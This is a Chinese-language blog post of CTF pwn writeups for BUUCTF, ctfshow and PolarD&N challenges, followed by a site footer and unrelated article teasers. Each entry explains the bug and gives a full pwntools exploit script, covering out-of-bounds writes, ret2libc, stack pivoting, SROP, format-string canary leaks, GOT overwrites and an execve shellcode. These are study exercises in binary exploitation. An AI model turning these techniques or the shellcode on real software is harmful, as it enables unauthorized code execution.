PWN练习---Stack_1

news2024/11/15 21:29:42

pwn123

题源:ctfshow–pwn123
知识点:逻辑漏洞引发的数组越界,导致任意地址写,覆盖返回地址。

主要源码

查看ida存在后面函数,可以劫持ctfshow函数的返回值到backdoor获得shell。
联想截图_20240122181012.png
查看case 1代码发现并未对数组赋值的序号 i 进行限制并且 v3[1~i] 可控,查看v3数组与ebp距离可以得到 eip 地址即为 v3[14] 的地址。{(0x38 + 0x4)/ 4 = 15 ,v3[15-1] = v3[14] } 也可以通过调试得到。
联想截图_20240122181847.png
联想截图_20240122181913.png

调试分析

首先输入序号17进行测试,即修改 v3[17] 处数据。
联想截图_20240122183909.png
联想截图_20240122184203.png
简单计算得到存放返回地址的为 v3[14] 处,填入shell地址即可。

exp

from pwn import *
context(arch='i386', os='linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28268)
elf = ELF('./pwn123')
backdoor = elf.sym['init0']
io.sendlineafter(b"what's your name?",b"aaa")
io.recvuntil(b"4 > dump all numbers")
io.sendlineafter(b' > ',b"1")
io.sendlineafter(b"Index to edit: ",b"14")
io.sendlineafter(b"How many? ",str(backdoor))  # 0x80485d6---> 134514134
io.sendline(b'0')
io.interactive()

borrowstack

题源:BUUCTF-borrowstack
知识点:栈迁移 + ret滑梯 + ret2libc3 + onegadget
坑点:泄露libc地址的payload返回main函数会导致got表覆盖,从而无法正常返回。
解决方法:ret滑梯。p64(ret)数量可变

源码

联想截图_20240206161233.png联想截图_20240206161243.png联想截图_20240206161516.png

思路分析

首先利用溢出的8字节将栈转移到bss段泄露libc地址,然后搜索libc版本找到 onegaget 相对地址,leak_addr过程返回到main函数,覆盖返回地址为onegadget地址获取shell。

exp

from pwn import *
from LibcSearcher import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
io = remote('node5.buuoj.cn',29944)
offset = 0x60
elf = ELF('./borrowstack')
main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

leave = 0x400699 
bss = 0x601080
pop_rdi = 0x400703
pop_rbp = 0x400590
ret = 0x4004c9

p1 = b'a'*offset + p64(bss) + p64(leave)
io.sendafter(b'want\n',p1)

#-----------------ret滑梯--------------------------------------
p2 = p64(ret)*28 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) 
io.sendafter(b'now!\n',p2)

puts = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))
libc = LibcSearcher("puts",puts)
base = puts - libc.dump('puts')
sym = base + libc.dump('system')
bin = base + libc.dump('str_bin_sh')
#由于使用system构造rop较长,需要二次调用read函数,比较麻烦。这里选择onegadget方法。
one = base +0x4526a 
p3 = b'a'*0x68 + p64(one)
io.recv()
io.send(p3)
io.interactive()

Tips:打通后第一次发出命令没有正常接收返回数据,需要再发一次。如下图:
联想截图_20240206163000.png

shellcode

题源:BUUCTF–pwnable_start
考点:堆栈可执行,汇编代码与栈结构剖析
知识点:借用程序已有的汇编代码实现多次读写---->泄露栈地址。

源码

没有主函数,_start函数汇编代码如下:
联想截图_20240206182647.png

分析

首先将eax赋值为4,bx,cx,dx分别赋值1,esp,0x14,然后调用int 80中断。转化为:write (1,addr,0x14) **
从esp指向位置开始读取0x14字节数据。也就是上面push的内容,调试得到
联想截图_20240206191327.png
然后
令ebx为0,ecx不变,edx为0x3c(也就是60),int 80中断 -------------->read(0, addr, 0x3c)**
即 从esp指向位置最多写入0x3c字节数据,将原输出数据覆盖。
最后使得esp向下移动0x14字节到达返回地址处,然后eip执行retn,返回地址弹出给eip,esp向下移动4字节。

思路

由于堆栈可执行,选择在栈上布置shellcode。而esp到返回地址空间为0x14,已知最短32位shellcode是21字节,因此无法在此处填充,但由于0x3c-0x14=0x28满足要求,可以在返回地址后面填充shellcode,因此首要条件是获取栈地址,然后覆盖返回地址为shellcode地址。

  1. leak_stack,布置shellcode链

已知程序执行一次后esp指向了返回地址下面四字节,相比原来位置+0x18,在上图中发现该地址的数据为0xffffd060,刚好是某个栈地址的二级映射,因此将该数据泄露出来加上偏移即可得到shellcode布置的栈地址。
已知程序第一次运行结束后new esp相对地址,可以将第一次返回地址填充为write函数打印数据部分的汇编地址(即0x8048087),利用它来打印出二级映射的栈地址,然后程序会调用read函数从new esp位置向下写入数据。首先填充0x14字节垃圾数据,然后覆盖返回地址为shellcode栈地址。接着填充shellcode。

  1. payload流程图

联想截图_20240206200004.png

exp

from pwn import *
context(os='linux',arch='i386',log_level='debug')
io = remote('node5.buuoj.cn',29641)

read = 0x8048087
p1 = b'a'*20 + p32(read)
io.sendafter(b':',p1)

stack = u32(io.recv(4))
print(hex(stack))
io.recv()

shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload = b'A'*0x14 + p32(stack+0x14)+shellcode

'''
shell = shell.ljust(20,b'\x00')
shell += p32(stack)
'''
io.send(payload)
io.interactive()

choose

题源:PolarD&N–pwn
考点:fmt泄露canary + leak_libc + ret2libc3
坑点:理清leak_libc功能代码的逻辑,进而泄露函数地址

源码

程序提供三个功能模块,通过选择序号进入。fmt与overflow模块常规,就不再贴源码了。直接看leak_libc的源码。

分析

一开始看不太懂leak_libc的意思。先随便输入数据进行调试,发现会被中断,不能正常返回。一步一步跟进发现puts函数被调用时候参数为0。而puts函数就是把参数指向地址的数据打印出来,因此会到达无效内存,被内核中断运行。

仔细分析反汇编代码,结合puts函数与atoi函数原型:


得到结论:该模块是将输入地址(int类型)处的数据打印出来。
联想到Linux的延迟绑定机制,可以得出结论:由于puts被执行过了,此时puts_got表中存放的就是puts函数的真实地址,因此可以直接获得libc地址,构造ret2libc的rop链,进行getshell。

exp

from pwn import *
from LibcSearcher import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
io = remote('120.46.59.242',2055)
elf = ELF('./pwn2')
main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

pop_rdi =0x400a93
ret = 0x4005f1
#-------------------------leak_canary--------------------------------
io.sendlineafter(b"3.Buf overflow\n",b'1')
io.sendline(b'%11$p')
canary = int(io.recvline(keepends=False),16)
print(hex(canary))
#------------------------leak_libc-------------------------------------------
io.sendlineafter(b"3.Buf overflow\n",b'2')
print(puts_got) # 6295576
io.send(b'6295576')

puts = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))
#---------------------------overflow----------------------------------------
libc = ELF('./libc6_2.23-0ubuntu11.3_amd64.so')
libc_base = puts - libc.sym["puts"]
print(hex(libc_base))
sys = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))

io.sendlineafter(b"3.Buf overflow\n",b'3')
p3 = b'a'*0x28+p64(canary)+p64(0)+p64(pop_rdi)+p64(binsh_addr)+p64(sys)
io.send(p3)
io.interactive()

starctf2018_babystack

题源:BUUCTF
考点:canary—stack_guard + stack_migrant + one_gadget

源码

联想截图_20240214231323.png
联想截图_20240214231351.png
联想截图_20240214231437.png

思路

首先利用 stack_guard 绕过canary,参见 Canary。然后泄露puts函数地址,接着进行栈迁移打one_gadget。
注意点:第一个payload将rbp设置成bss段地址进行迁移。先泄露puts函数地址,然后调用read函数向bss地址写入one_gadget。rip设置成 leave ;ret。
第二个payload直接输入one_gadget。

exp

from pwn import *
from LibcSearcher import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
elf = ELF('./babystack')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
io = remote('node5.buuoj.cn',28722)
read = elf.sym['read']
my_canary = 0xc30af2c248625400
leave = 0x400955
pop_rdi = 0x400c03
pop_rsi_r15 = 0x400c01
ret = 0x400287
bss = elf.bss()+ 0x200
offset = 0x1848
p = b'a'*0x1008 + p64(my_canary) + p64(bss) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) 
p += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(bss) + p64(0) + p64(read) 
p += p64(leave)
p = p.ljust(offset,b'a') +p64(my_canary) 

io.sendlineafter(b'send?\n',b'6224')
io.send(p)

puts = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))
libc = LibcSearcher("puts",puts)
base = puts-libc.dump('puts')
one = base +  0x4f322

p2 = p64(ret) + p64(one)  # 这里在one_gadget前面加8字节应该是栈帧平衡,p64(0)亦可
io.send(p2)
io.interactive()

picoctf_2018_got_shell

题源:BUUCTF
考点:逻辑漏洞修改got表

查看保护信息:

源码

存在逻辑漏洞,获取用户输入的地址并修改该地址为任意值。存在后门函数。

分析

思路:由于Linux延迟绑定,puts第一次调用后,puts.got保存的地址就是真实地址,以后每次调用puts会向got表查询,可以直接将这个值修改为backdoor地址,这样再次调用puts就执行了backdoor,获得shell。

exp

from pwn import *
p=remote('node5.buuoj.cn',25901)

elf=ELF('./PicoCTF_2018_got-shell ')
puts_got=elf.got['puts']
win_addr=0x0804854B

p.sendlineafter("value?", hex(puts_got))
p.recv()
p.sendline(hex(win_addr))
p.interactive()

ciscn_2019_s_3

题源:BUCTF–PWN
考点:srop-execve调用 或 syscall解法
坑点:泄露出来的栈地址有点不一样(kali比靶机多0x30,Ubuntu多0x10…)

源码

main函数直接进入vuln函数调用。
联想截图_20240220174120.png
发现可用gadgets,考虑使用SROP或者syscall方法。
联想截图_20240220174312.png

分析

观察下面部分代码可知,首先调用 sys_read 向 rsp (/rbp) -0x10 位置读入最多 0x400 字节数据,然后从相同位置输出栈上数据0x30长度,可以泄露栈地址。最后正常返回,注意 rbp+0x8 位置即为 rip返回地址,也就是说输入数据 buf占据0x10,接着就是 rbp和 rip
联想截图_20240220174537.png
payload构造栈:

p1:/bin/sh\x00+aaaaaaaa ----->buf+“rbp”(0x10) #leak出来bin地址
vul ---------------------------> “rip”(rbp)
p2:aaaaaa --------------------> buf+“rbp”(0x10)
srop --------------------------> rbp(“rip”)
syscall + frame -------------> …

exp

from pwn import *
#io = remote('node5.buuoj.cn',26115)
io = process('./3')
elf = ELF('./3')
context(arch="amd64",os="linux", log_level="debug")

vul=0x4004F1  #从 xor rax,rax 开始,仅调用一部分汇编
srop = 0x4004da    # mov 0xF0 rax;ret
syscall=0x400517	# syscall;ret

#第一次输入shell,泄露栈地址,然后调转二次运行输入数据执行SROP
p1 = (b'/bin/sh\x00').ljust(16,b'a') + p64(vul)
io.sendline(p1)
io.recv(0x20)
bin = u64(io.recv(8))-0x118 #kali下为-0x148,Ubuntu为-0x128。。。
print(hex(bin))

frame = SigreturnFrame()
frame.rax = 59     # execve(/bin/sh,0,0)
frame.rdi = bin  # /bin/sh 填写地址为 rbp-0x30
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
# 由于程序第一次运行返回时,结尾汇编为 pop rbp;retn,retn之后此时rsp指向旧的rip
# 因此第二次回调执行sys_read时候写入起始位置为 旧的rip-0x10,即旧rbp地址。
# 而/bin/sh在 旧的rbp上面0x10处,不会被覆盖。
io.sendline(b'a'*0x10+p64(srop)+p64(syscall)+bytes(frame))
#     buf         +  rbp/rip (srop)+ rip+8(syscall) + ...
io.interactive()

rootersctf_2019_srop

题源:BUUCTF-PWN
考点:方法1:srop移栈 + srop
方法2:栈迁移+srop(暂时没成功…)

源码

先输出部分信息,然后利用 push 0 和 pop rax 调用sys_read函数 向栈中填充数据。发现 syscall指令地址:0x401033。
联想截图_20240221162659.png
可能用到的gadgets:
联想截图_20240221162905.png

分析

由于未知栈地址,需要在bss段构造excve(/bin/sh\x00,0,0)。先进行输入地址栈转移。
方法一:srop+srop
首先利用第一次栈溢出进行srop利用(buf,rip:rt_sigreturn ,syscall,frame):布置寄存器数据,调用read向bss段输入数据,满足再次栈溢出的条件 read(0,bss,0x400) ,注意rbp位置:frame.rbp = bss + 0x20。
然后程序会指向bss段接收输入数据,在bss段 填充 /bin/sh\x00 再次利用 srop布置寄存器构造execve(/bin/sh\x00,0,0)。
方法二:栈迁移+srop
第一次栈溢出劫持返回地址到bss段,然后rip填充 rt地址,使得程序再次执行(同时rsp也转移到bss段)。
然后在第二次运行时进行栈溢出利用srop构造 execve(/bin/sh\x00,0,0)。
联想截图_20240221164215.png

exp

from pwn import *
io = process("./srop")
#io = remote('node5.buuoj.cn',27655)
context(arch="amd64", os="linux",log_level="debug")

# write /bin/sh on bss
bss = 0x402000 + 0x400
syscall_leave_ret = 0x401033 #通用
syscall_addr = 0x401046   #仅第二个frame中的rip可用此gadget
pop_rax_syscall_leave_ret = 0x401032

# srop to call read, set *data_addr = /bin/sh\x00
frame = SigreturnFrame()
frame.rax = 0 	# read(0,bss,0x400)  stack:    buf   rbp-0x20
frame.rdi = 0  						#          rbp
frame.rsi = bss     
frame.rdx = 0x400
frame.rip = syscall_leave_ret
frame.rbp = bss + 0x20
p1 = 0x88 * b"a"+ p64(pop_rax_syscall_leave_ret) + p64(0xf)+ bytes(frame)
io.sendafter(b"Hey, can i get some feedback for the CTF?\n",p1)

frame = SigreturnFrame()
frame.rax = 59 			# execve(bss,0,0)
frame.rdi = bss 
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_leave_ret
p2 = b"/bin/sh\x00"+ b"a" * 0x20+ p64(pop_rax_syscall_leave_ret) + p64(0xf)
p2 += bytes(frame)
io.send(p2)
io.interactive()
from pwn import *
#io = remote('node5.buuoj.cn',27029)
io = process('./srop')
elf = ELF('./srop')
context(arch="amd64",os="linux", log_level="debug")
    
bss = 0x402000 + 0x400
rt = 0x401001
syscall_leave_ret = 0x401033 #通用
pop_rax_syscall = 0x401032
io.recv(0x2a)
p1 = b'a'*0x80 + p64(bss) + p64(rt)
io.send(p1)
io.recv(0x2a)

frame = SigreturnFrame()
frame.rax = 59
frame.rdi = bss-0x80
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_leave_ret
frame.rbp = bss
frame.rsp = bss-0x40

p2 = (b'/bin/sh\x00').ljust(0x88,b'\x00') + p64(pop_rax_syscall) + p64(0xf) 
p2 += bytes(frame)
io.send(p2)
io.interactive()

ciscn_2019_s_4

题源:BUUCTF-PWN
考点:32位栈迁移【方法一:迁移到stack / 方法二: 迁移到bss段(不通…)】
坑点:/bin/sh\x00只能放在system后面,放在rbp位置不行。(详见exp代码部分)
迁移到bss时候打不通…,暂未知原因。

源码

联想截图_20240221134418.png
联想截图_20240221134555.png
存在system函数,输入/bin/sh\x00构造rop即可。
联想截图_20240221135440.png

分析

方法一:leak_stack + stack_migrant
第一次输入位置填充垃圾数据0x28用来泄露栈上某个地址,然后减去偏移0x38(这次偏移一致了)得到输入buf位置的栈地址。第二次填入/bin/sh\x00再构造rop链:system + p32(0) + p32(bin)
最后填上fake_rbp和 leave回调执行rop,(注意fake_rbp需要为有效rop链起始地址-0x4)即可获取shell。
方法二:stack_migrant
第一次随便输入垃圾数据跳过该次输入,第二次将rbp转移到bss段地址,然后调用第二次read的汇编代码片段(0x80485D8),向rbp-0x28地址输入数据构造rop链:
/bin/sh\x00 + system + p32(0) + p32(bin), 补充数据使得长度到达0x28。
由于buf地址在rbp-0x28地址,最后填充fake_rbp为 bss-0x28-0x4(即 bss-0x2c),填上leave回调执行rop。【打不通…】
联想截图_20240221140948.png

exp

from pwn import *
#io = remote('node5.buuoj.cn',26143)
io = process('./4')
elf = ELF('./4')
context(arch="i386",os="linux", log_level="debug")
leave = 0x80484b8
#0x080484b8 : leave ; ret

p1 = b'a'*0x28
io.sendafter(b'?\n',p1)
io.recvuntil(b'a'*0x28)
buf = u32(io.recv(4).ljust(4,b'\x00'))-0x38
print(hex(buf))
bin = buf+0xc
system = elf.sym['system']
p2 = (p32(system) + p32(0) + p32(bin)+b'/bin/sh\x00').ljust(0x28,b'\x00')
# 注意:这里如果改成 
#  b'/bin/sh\x00'+ p32(system) + p32(0) + p32(bin-0xc) 就打不通了

p2 += p32(buf-4)+p32(leave)
io.send(p2)
io.recv()
io.interactive()
from pwn import *
#io = remote('node5.buuoj.cn',26143)
io = process('./ciscn_2019_s_4')
elf = ELF('./ciscn_2019_s_4')
context(arch="i386",os="linux", log_level="debug")
bss = 0x804a000 + 0x400
leave = 0x80484b8
#0x080484b8 : leave ; ret
#0x080483bd : pop ebx ; ret

pop_ebx = 0x80483bd
read = 0x080485D8

p1 = b'a'*0x28
io.sendafter(b'?\n',p1)
io.recv()
p2 = b'a'*0x28 + p32(bss) + p32(read)
io.send(p2)
io.recv()

buf = bss-0x28
bin = buf+12
system = elf.sym['system']

p3 = (p32(system)+p32(0)+p32(bin)+b'/bin/sh\x00').ljust(0x28,b'a') +p32(bss-0x2c)+ p32(leave)
io.send(p3)
io.recv()
io.interactive()

axb_2019_fmt32

题源:BUUCTF–PWN axb_2019_fmt32
考点:32位fmt_leak_address 获取 libc + got篡改
坑点:注意 fmt_leak 时候利用%s的构造的rop偏移与对齐

源码

联想截图_20240228163703.png

分析

Step1:利用格式化字符串漏洞泄露出执行过的函数地址,然后根据 libc 得到system 函数的地址

使用脚本得到的偏移为8,但是由于输入的第一个字节位于上一个0x4地址末端,远程有时会出现报错。

联想截图_20240228165608.png
联想截图_20240228165523.png

手动测试:
联想截图_20240228165926.png
需要先填充一个字节来对齐,然后填充got地址,使得got地址偏移刚好为8。
并且发现偏移offset为 2,3,4,5位置与aaaaaaaa距离为8,与脚本一致。

Step2:利用 fmtstr (或 手动构造输入,这里有些困难…) 来篡改 printf 函数的got地址为system函数地址。

b’a’ +fmtstr_payload(8,{printf_got:sys_addr},write_size = “byte”,numbwritten = 0xa)

fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一个参数表示格式化字符串的偏移
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:systemAddress};
第三个参数numbwritten表示已经输出的字符个数
联想截图_20240228170924.png
sprintf 表示追加到 “Repeater:”后面,再加上fmtstr前面的b’a’。==> 0x9 + 0x1 = 0xa
第四个参数write_size表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写

Step3输入system函数的参数构造 system(/bin/sh)。

exp

from pwn import *
context(arch='i386', os='linux', log_level='debug') 
p =remote('node5.buuoj.cn',28108)
elf =ELF('./fmt')
got_addr =elf.got['printf']
printf_got = elf.got['printf']
 #  offset = 8
'''
def exec_fmt(payload):
	p.sendline(payload)
	info = p.recv()		               
	return info
auto = FmtStr(exec_fmt)
offset = auto.offset
'''    
 #         1 +   4         +   7         + 4   = 16 =0x10
payload =b'A' +p32(got_addr) +b'bbbbbbb' + b'%8$s'  #建议对齐(0x10)
p.sendafter(b"Please tell me:",payload)
p.recvuntil(b'bbbbbbb')	  				 # 注意接收的地址在b*7之后位置
puts_addr = u32(p.recv(4))
print(hex(puts_addr))
 
libc = ELF('./libc-2.23_32.so')
libc_base = puts_addr - libc.sym['printf']
sys_addr = libc_base + libc.sym['system']
 
payload=b'a'
payload += 
fmtstr_payload(8,{printf_got:sys_addr},write_size = "byte",numbwritten = 0xa)
p.recvuntil(b':')
p.send(payload)
p.send(b';/bin/sh\x00')   # 需要两次发送
p.interactive()

axb_2019_fmt64

题源:BUUCTF–PWN axb_2019_fmt64
考点:64位fmt_leak_address 获取 libc + got篡改
坑点:64位got表开头的\x00截断问题,需要更改 p64(got) 位置 。(相较于上一题,不需要开头填充)
传参 /bin/sh\x00 时候前面需要加上”;“。

源码

与上题几乎一样,略…

分析

**Step1:**偏移为8,并且不需要对齐:联想截图_20240228175528.png
Step2:64位程序,got地址 \x00截断 :
联想截图_20240228180426.png

这里使用了p32(got)测试,不过意思是一样的。

发现没有接收到 bbbbbb,并且got也没有成功解析得到函数地址,需要修改p64(got)位置,同时注意%8$s也要随之修改。

注意64位一个地址是 8 字节,不同于 32位的 4字节。因此 %9 s 是在 s 是在 %8 s是在p 基础上增加8字节。
远程打不通,下面是本地测试结果:
联想截图_20240228180937.png

Step3:参数发送问题 :
Fail:
联想截图_20240228181514.png
联想截图_20240228181453.png
Success:联想截图_20240228181224.png

这里输入有 时间限制,不过还是可以成功的。

联想截图_20240228181238.png

exp

from pwn import *
from LibcSearcher import *
context(arch='amd64', os='linux', log_level='debug')
 
p =process('./fmt')
#p =remote('node5.buuoj.cn',27332)
elf =ELF('./fmt')
 
got_addr =elf.got['printf']
printf_got = got_addr

print(hex(got_addr))
payload = b'%9$saaaa' + p64(got_addr)   #对齐
p.sendafter(b"Please tell me:",payload)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
 
libc = ELF('./libc-2.23_64.so')				#远程打不通
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')  #local
libc_base = puts_addr - libc.sym['printf']
sys_addr = libc_base + libc.sym['system']

payload=fmtstr_payload(8,{printf_got:sys_addr},write_size = "byte",numbwritten = 0x9)   #其实system函数和printf函数只有后面几位数字不一样,也可以手动修改...
p.recvuntil(b':')
p.send(payload)
p.send(b';/bin/sh\x00')
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1861073.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ThreadLocal 源码浅析

前言 多线程在访问同一个共享变量时很可能会出现并发问题,特别是在多线程对共享变量进行写入时,那么除了加锁还有其他方法避免并发问题吗?本文将详细讲解 ThreadLocal 的使用及其源码。 一、什么是 ThreadLocal? ThreadLocal 是 J…

Ubuntu下Linux最常见归档与解压命令tar的用法备忘

一、tar命令说明: tar是Linux中备份文件的可靠方法,用于打包、压缩与解压文件,可以工作于任何环境,使用权限是所有用户。 二、压缩与解压最常见的打包文档的格式: 三、常见两种压缩格式的说明: 文件名.tar.…

期权义务仓和权利仓有什么区别?怎么使用?

今天带你了解期权义务仓和权利仓有什么区别?怎么使用?与其他保险产品相比,期权提供更大的灵活性,投资者可以根据个人需求和市场状况选择不同类型和到期时间的期权合约,那么期权义务仓和权力仓是什么? 权利…

构建一个检索增强生成(RAG)应用程序

:::tips 此文档是LangChain官方教程的实践总结:https://python.langchain.com/v0.2/docs/tutorials/rag/实践前你需要准备:OPENAI_API_KEY Generator:根据检索到的信息和用户的查询生成自然语言的回答。LANGCHAIN_API_KEY 密切监控和评估您的…

加速度传感器采集时无效数据的产生及消除

1.现象 这是振动传感器的原始采样信号,它有一个明显的上升沿,这个上升沿,看时间轴标尺,大概持续了至少50ms,它是从哪里来的呢? 加速度传感器一般是由恒流源驱动的。而恒流源的原始电源输入是个经由电源模…

3dmax最小细分,最大细分,全局细分倍增怎么设置才合理

在3ds Max中进行高质量渲染时,细分(Subdivision)是一个至关重要的参数。细分的设置直接影响到渲染结果的细节程度和渲染时间。以下内容详细解释最小细分、最大细分和全局细分倍增的含义及作用,并解释在渲染设置时,怎样…

Llama3应用与RAG的实现

源码见文末 实现效果 1.Llama3安装 官网:https://ollama.com/download/linuxhttps://ollama.com/download/linux 首先,安装ollama, 安装后能够很好下载其模型

如何只用 ClickHouse SQL 实现 K-Means 聚类

本文字数:15474;估计阅读时间:39 分钟 审校:庄晓东(魏庄) 本文在公众号【ClickHouseInc】首发 Meetup活动 ClickHouse 上海首届 Meetup 讲师招募中,欢迎讲师在文末扫码报名! 介绍 最…

扫地机器人无故中止问题的TRIZ解决方案

在我们享受智能家居带来的便捷时,扫地机器人无疑是家中不可或缺的“小帮手”。然而,当这个小家伙突然“罢工”,不再听从我们的指令,甚至无故中止工作时,你是否也感到头疼不已?今天,深圳天行健企…

关于ip地址的网页无法访问navigator的gpu、媒体、蓝牙等设备的解决方法

在使用threejs的WebGPURenderer渲染器时,发现localhost以及127.0.0.1才能访问到navigator.gpu,直接使用ip会变成undefined,原因是为了用户的隐私安全,只能在安全的上下文中使用,非安全的上下文就会是undefined,安全上下…

SHAP中使用shap.summary_plot对多分类任务模型中特征重要性绘图

在文心一言中输入: 使用shap.summary_plot展示各个特征对模型输出类别的重要性 其输出的代码为(不正确): from sklearn import datasets from sklearn.model_selection import train_test_split from sklearn import svm import …

git clone中的报错问题解决:git@github.com: Permission denied (publickey)

报错: Submodule path ‘kernels/3rdparty/llm-awq’: checked out ‘19a5a2c9db47f69a2851c83fea90f81ed49269ab’ Submodule path ‘kernels/3rdparty/nvbench’: checked out ‘75212298727e8f6e1df9215f2fcb47c8c721ffc9’ Submodule path ‘kernels/3rdparty/t…

为什么 Swift 没有原生的 subArray 方法?

为什么 Swift 没有原生的 subArray 方法? Swift 是一门设计精良的编程语言,以其灵活性和高性能著称。在 Swift 中截取数组的子数组是一个常见的操作,但你可能会发现 Swift 标准库中并没有直接提供一个 subArray 方法。这是为什么呢&#xff…

软考中级软件设计师查成绩:终于合格了。

软考中级软件设计师终于合格了。 考试时间是8:30-12:30,我下午一点多要赶火车。考试的地方很偏僻,离火车站30多里地。所以,我必须提前交卷。客观题有大概10道题都是蒙的C。应用题中的算法考的是哈夫曼算法&#xff0…

【python】PyQt5各个控件语法解析,QObject父子对象的操作

✨✨ 欢迎大家来到景天科技苑✨✨ 🎈🎈 养成好习惯,先赞后看哦~🎈🎈 🏆 作者简介:景天科技苑 🏆《头衔》:大厂架构师,华为云开发者社区专家博主,…

Python文本挖掘数据分析——竞争分析(1)

文章目录 前言项目背景与目标品类分布分析数据准备与处理查看数据类目作图查看占比的不同 适用对象作图查看适用对象占比 产品结构分析对商品分类汇总定义作图函数拜耳安速科凌虫控 前言 数据说明: 项目背景与目标 该项目旨在分析三个品牌(拜耳、安速、科凌虫控&…

从删库到还原

欢迎来到我的博客,代码的世界里,每一行都是一个故事 🎏:你只管努力,剩下的交给时间 🏠 :小破站 从删库到还原 魔法一魔法二魔法三魔法四查看是否开启binlog,且format为row执行以下命…

常微分方程算法之编程示例四(龙格-库塔法)

目录 一、算例一 1.1 研究问题 1.2 C代码 1.3 计算结果 二、算例二 2.1 研究问题 2.2 C代码 2.3 计算结果 一、算例一 本节我们采用龙格-库塔法(Runge-Kutta法)求解算例。 龙格-库塔法的原理及推导请参考: 常微分方程算法之龙…

钡铼BL101网关6串口Modbus转MQTT优化智慧园区设备互联

BL101网关:优化智慧园区设备互联的关键利器 在当今快速发展的智能化时代,智慧园区管理对于设备之间的高效互联至关重要。钡铼(BL101)网关作为一款功能强大的Modbus转MQTT设备,不仅支持多种通信协议和硬件接口&#xf…

安帝康生物完成超2亿元A轮融资,持续深耕呼吸感染和疼痛领域创新药研发

日前,嘉兴安帝康生物科技有限公司(下称“安帝康生物”)正式宣布完成超2亿元A轮融资,由先声药业(02096.HK)、华金投资与华金大道联合领投,老股东同创伟业、嘉兴新创创投持续加投,嘉睿…